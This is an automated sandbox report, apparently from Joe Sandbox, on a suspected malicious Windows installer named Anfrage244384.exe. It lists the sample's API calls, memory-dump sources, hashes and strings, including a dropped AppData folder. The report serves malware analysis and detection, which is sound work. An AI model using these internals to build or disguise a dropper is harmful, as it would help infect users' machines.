                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: FileRead
                                                        • String ID:
                                                        • API String ID: 2738559852-0
                                                        • Opcode ID: 7a5894fcc52b5b75c83558307916cd1b307e449aca39369e2409f4e78c5f9a6a
                                                        • Instruction ID: e0af876c1f8b3f6a8543b45de02fe6ba5ae560271bae9c5b6a9092efc5817470
                                                        • Opcode Fuzzy Hash: 7a5894fcc52b5b75c83558307916cd1b307e449aca39369e2409f4e78c5f9a6a
                                                        • Instruction Fuzzy Hash: FCE0463220029AABCF10AE509C40AAB3B6CEB00261F104832B916E3080E2B0E8209FA4
                                                        Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2351315276.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.2351297132.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351332202.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351350506.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: ProtectVirtual
                                                        • String ID:
                                                        • API String ID: 544645111-0
                                                        • Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                        • Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
                                                        • Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                        • Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19
                                                        Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: AttributesFile
                                                        • String ID:
                                                        • API String ID: 3188754299-0
                                                        • Opcode ID: 2311168178740a320a7838dbc888e64bfba08100527ad66c07f3f89ca227bd51
                                                        • Instruction ID: e24d852e2ad3a8f86fdc323a2a6250be89694c15614e2f118570afc755bb50f4
                                                        • Opcode Fuzzy Hash: 2311168178740a320a7838dbc888e64bfba08100527ad66c07f3f89ca227bd51
                                                        • Instruction Fuzzy Hash: 4DD05B72704115D7CB10EBE5EF0869D77B09B50364F304137D251F31D0D6BACA559729
                                                        Function 0040315B Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EC1,?), ref: 00403169
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: FilePointer
                                                        • String ID:
                                                        • API String ID: 973152223-0
                                                        • Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
                                                        • Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
                                                        • Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
                                                        • Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D
                                                        Function 00403FDD Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageA.USER32(00000028,?,00000001,00403E0E), ref: 00403FEB
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID:
                                                        • API String ID: 3850602802-0
                                                        • Opcode ID: 2bf10b83fa6dd9bc40a18547b02fbce2a65827e50004d0a7ab2884d4d9fdcea2
                                                        • Instruction ID: 0adc9c0e194aa77c868d6ef978719a9753de7db756a7c543b14a3307e76eee0a
                                                        • Opcode Fuzzy Hash: 2bf10b83fa6dd9bc40a18547b02fbce2a65827e50004d0a7ab2884d4d9fdcea2
                                                        • Instruction Fuzzy Hash: B2B09235280A00AAEA215B00DE09F467A62A764701F408038B240250B1CAB200A6DB18

                                                        Non-executed Functions

                                                        Function 0040511A Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDlgItem.USER32(?,00000403), ref: 00405179
                                                        • GetDlgItem.USER32(?,000003EE), ref: 00405188
                                                        • GetClientRect.USER32(?,?), ref: 004051C5
                                                        • GetSystemMetrics.USER32(00000002), ref: 004051CC
                                                        • SendMessageA.USER32(?,0000101B,00000000,?), ref: 004051ED
                                                        • SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004051FE
                                                        • SendMessageA.USER32(?,00001001,00000000,?), ref: 00405211
                                                        • SendMessageA.USER32(?,00001026,00000000,?), ref: 0040521F
                                                        • SendMessageA.USER32(?,00001024,00000000,?), ref: 00405232
                                                        • ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405254
                                                        • ShowWindow.USER32(?,00000008), ref: 00405268
                                                        • GetDlgItem.USER32(?,000003EC), ref: 00405289
                                                        • SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405299
                                                        • SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004052B2
                                                        • SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004052BE
                                                        • GetDlgItem.USER32(?,000003F8), ref: 00405197
                                                          • Part of subcall function 00403FDD: SendMessageA.USER32(00000028,?,00000001,00403E0E), ref: 00403FEB
                                                        • GetDlgItem.USER32(?,000003EC), ref: 004052DA
                                                        • CreateThread.KERNEL32(00000000,00000000,Function_000050AE,00000000), ref: 004052E8
                                                        • CloseHandle.KERNEL32(00000000), ref: 004052EF
                                                        • ShowWindow.USER32(00000000), ref: 00405312
                                                        • ShowWindow.USER32(?,00000008), ref: 00405319
                                                        • ShowWindow.USER32(00000008), ref: 0040535F
                                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405393
                                                        • CreatePopupMenu.USER32 ref: 004053A4
                                                        • AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004053B9
                                                        • GetWindowRect.USER32(?,000000FF), ref: 004053D9
                                                        • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053F2
                                                        • SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040542E
                                                        • OpenClipboard.USER32(00000000), ref: 0040543E
                                                        • EmptyClipboard.USER32 ref: 00405444
                                                        • GlobalAlloc.KERNEL32(00000042,?), ref: 0040544D
                                                        • GlobalLock.KERNEL32(00000000), ref: 00405457
                                                        • SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040546B
                                                        • GlobalUnlock.KERNEL32(00000000), ref: 00405484
                                                        • SetClipboardData.USER32(00000001,00000000), ref: 0040548F
                                                        • CloseClipboard.USER32 ref: 00405495
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                        • String ID:
                                                        • API String ID: 590372296-0
                                                        • Opcode ID: 312e192eeff1604f0d32da701c70530a671f57ed31088441950e93b34a7e48bf
                                                        • Instruction ID: 5613d7aab8632e27e9dc55abe2e0ca372eedffe8b3e0cf91bb1740b35a121942
                                                        • Opcode Fuzzy Hash: 312e192eeff1604f0d32da701c70530a671f57ed31088441950e93b34a7e48bf
                                                        • Instruction Fuzzy Hash: 8AA14770900608BFDB11AFA1DE89EAE7F79EB08344F40403AFA01B61A0C7755E51DF68
                                                        Function 004043E6 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 274stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDlgItem.USER32(?,000003FB), ref: 00404435
                                                        • SetWindowTextA.USER32(00000000,?), ref: 0040445F
                                                        • SHBrowseForFolderA.SHELL32(?,00429C40,?), ref: 00404510
                                                        • CoTaskMemFree.OLE32(00000000), ref: 0040451B
                                                        • lstrcmpiA.KERNEL32(Call,0042A868), ref: 0040454D
                                                        • lstrcatA.KERNEL32(?,Call), ref: 00404559
                                                        • SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040456B
                                                          • Part of subcall function 0040559D: GetDlgItemTextA.USER32(?,?,00000400,004045A2), ref: 004055B0
                                                          • Part of subcall function 0040602E: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Anfrage244384.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406086
                                                          • Part of subcall function 0040602E: CharNextA.USER32(?,?,?,00000000), ref: 00406093
                                                          • Part of subcall function 0040602E: CharNextA.USER32(?,"C:\Users\user\Desktop\Anfrage244384.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406098
                                                          • Part of subcall function 0040602E: CharPrevA.USER32(?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 004060A8
                                                        • GetDiskFreeSpaceA.KERNEL32(00429838,?,?,0000040F,?,00429838,00429838,?,00000001,00429838,?,?,000003FB,?), ref: 00404629
                                                        • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404644
                                                          • Part of subcall function 0040479D: lstrlenA.KERNEL32(0042A868,0042A868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046B8,000000DF,00000000,00000400,?), ref: 0040483B
                                                          • Part of subcall function 0040479D: wsprintfA.USER32 ref: 00404843
                                                          • Part of subcall function 0040479D: SetDlgItemTextA.USER32(?,0042A868), ref: 00404856
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                                                        • String ID: A$C:\Users\user\AppData\Roaming\secretaryships$Call
                                                        • API String ID: 2624150263-1374666773
                                                        • Opcode ID: 69f74c01cbdcf11024f72d1cffdf5a9e01e05ddb1b066f3c04d727bfc8a1ec56
                                                        • Instruction ID: 84c50741fe25a173814362b43a11873bd68750411b15b34785129881091ebc45
                                                        • Opcode Fuzzy Hash: 69f74c01cbdcf11024f72d1cffdf5a9e01e05ddb1b066f3c04d727bfc8a1ec56
                                                        • Instruction Fuzzy Hash: 14A1A5B1900209ABDB11AFA6DD45AAF7BB8EF85314F10843BF601B62D1D77C89418F69
                                                        Function 004020CD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CoCreateInstance.OLE32(00408514,?,00000001,00408504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040214C
                                                        • MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00408504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F8
                                                        Strings
                                                        • C:\Users\user\AppData\Roaming\secretaryships\Khami, xrefs: 0040218C
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: ByteCharCreateInstanceMultiWide
                                                        • String ID: C:\Users\user\AppData\Roaming\secretaryships\Khami
                                                        • API String ID: 123533781-1519471096
                                                        • Opcode ID: f209c091181f227ba522424908b8d9506dcc11acb2a5460ac331969599ead195
                                                        • Instruction ID: a586864d88b4a31a2ea0730a18160f458de020bca495768a6a410d99a7d95100
                                                        • Opcode Fuzzy Hash: f209c091181f227ba522424908b8d9506dcc11acb2a5460ac331969599ead195
                                                        • Instruction Fuzzy Hash: B4510975A00208BFCB10DFE4CA88A9DBBB6AF48314B2445AAF515FB2D0DA799941CB54
                                                        Function 0040655F Relevance: .3, Instructions: 334COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: f6ffbaa9ab06301a7bcd3d44d98f200676c8088fe61cb4b9d184fb53f21b8863
                                                        • Instruction ID: 8293cd2a5013187d15d39c8039833727f4f8195ddf88bee04d9fcabafb2459e2
                                                        • Opcode Fuzzy Hash: f6ffbaa9ab06301a7bcd3d44d98f200676c8088fe61cb4b9d184fb53f21b8863
                                                        • Instruction Fuzzy Hash: 0EE17B71900709DFDB24CF58C980BAABBF1EB44305F15893EE497A72D1E778AA91CB04
                                                        Function 00406D36 Relevance: .3, Instructions: 300COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2f5d6bccd3c6e1d066a3a8cc38ddd8851f0bfc94fc623702177b12c8f33284cd
                                                        • Instruction ID: 9f21e3e235d98a7e1251c5e66270d761edb2065f660f80fa18d1a92bf6754199
                                                        • Opcode Fuzzy Hash: 2f5d6bccd3c6e1d066a3a8cc38ddd8851f0bfc94fc623702177b12c8f33284cd
                                                        • Instruction Fuzzy Hash: 2DC13971E0021A8BCF14CF68D5905EEBBB2BF98314F26826AD85677384D734A952CF94
                                                        Function 004040F1 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 0040417C
                                                        • GetDlgItem.USER32(00000000,000003E8), ref: 00404190
                                                        • SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004041AE
                                                        • GetSysColor.USER32(?), ref: 004041BF
                                                        • SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004041CE
                                                        • SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004041DD
                                                        • lstrlenA.KERNEL32(?), ref: 004041E0
                                                        • SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004041EF
                                                        • SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404204
                                                        • GetDlgItem.USER32(?,0000040A), ref: 00404266
                                                        • SendMessageA.USER32(00000000), ref: 00404269
                                                        • GetDlgItem.USER32(?,000003E8), ref: 00404294
                                                        • SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004042D4
                                                        • LoadCursorA.USER32(00000000,00007F02), ref: 004042E3
                                                        • SetCursor.USER32(00000000), ref: 004042EC
                                                        • ShellExecuteA.SHELL32(0000070B,open,0042E3A0,00000000,00000000,00000001), ref: 004042FF
                                                        • LoadCursorA.USER32(00000000,00007F00), ref: 0040430C
                                                        • SetCursor.USER32(00000000), ref: 0040430F
                                                        • SendMessageA.USER32(00000111,00000001,00000000), ref: 0040433B
                                                        • SendMessageA.USER32(00000010,00000000,00000000), ref: 0040434F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
                                                        • String ID: Call$N$open
                                                        • API String ID: 3615053054-2563687911
                                                        • Opcode ID: 0fabdefe5dfe810703eedaaf7f5204b78cec4d5337582d6cb8c9095239a0e9c5
                                                        • Instruction ID: 596f938780ddc00ccda35ae91e452bcb2762d229451626cd39d0fa48fc5db7d6
                                                        • Opcode Fuzzy Hash: 0fabdefe5dfe810703eedaaf7f5204b78cec4d5337582d6cb8c9095239a0e9c5
                                                        • Instruction Fuzzy Hash: FC61B3B1A40209BFEB109F60DD45F6A7B69FB84701F10803AFB04BA2D1C7B8A951CB58
                                                        Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
                                                        • BeginPaint.USER32(?,?), ref: 00401047
                                                        • GetClientRect.USER32(?,?), ref: 0040105B
                                                        • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                        • FillRect.USER32(00000000,?,00000000), ref: 004010E4
                                                        • DeleteObject.GDI32(?), ref: 004010ED
                                                        • CreateFontIndirectA.GDI32(?), ref: 00401105
                                                        • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                                        • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                        • SelectObject.GDI32(00000000,?), ref: 00401140
                                                        • DrawTextA.USER32(00000000,Berny Setup,000000FF,00000010,00000820), ref: 00401156
                                                        • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                        • DeleteObject.GDI32(?), ref: 00401165
                                                        • EndPaint.USER32(?,?), ref: 0040116E
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                        • String ID: Berny Setup$F
                                                        • API String ID: 941294808-2387847010
                                                        • Opcode ID: b3683ee5f9b0c2be8bfd93dc29e84564bacc2454be597716fe8f92258ad350e3
                                                        • Instruction ID: eed311f0ba3f5168439b37af4fa11fc7bb37c730dc1785cefb354bf9b42296a2
                                                        • Opcode Fuzzy Hash: b3683ee5f9b0c2be8bfd93dc29e84564bacc2454be597716fe8f92258ad350e3
                                                        • Instruction Fuzzy Hash: FF418C71800209AFCF059F95DE459AFBBB9FF44314F00842EF9A1AA1A0C774E955DFA4
                                                        Function 00405B0C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrcpyA.KERNEL32(0042C5F8,NUL,?,00000000,?,00000000,00405C9F,?,?), ref: 00405B1B
                                                        • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405C9F,?,?), ref: 00405B3F
                                                        • GetShortPathNameA.KERNEL32(?,0042C5F8,00000400), ref: 00405B48
                                                          • Part of subcall function 0040599B: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059AB
                                                          • Part of subcall function 0040599B: lstrlenA.KERNEL32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059DD
                                                        • GetShortPathNameA.KERNEL32(0042C9F8,0042C9F8,00000400), ref: 00405B65
                                                        • wsprintfA.USER32 ref: 00405B83
                                                        • GetFileSize.KERNEL32(00000000,00000000,0042C9F8,C0000000,00000004,0042C9F8,?,?,?,?,?), ref: 00405BBE
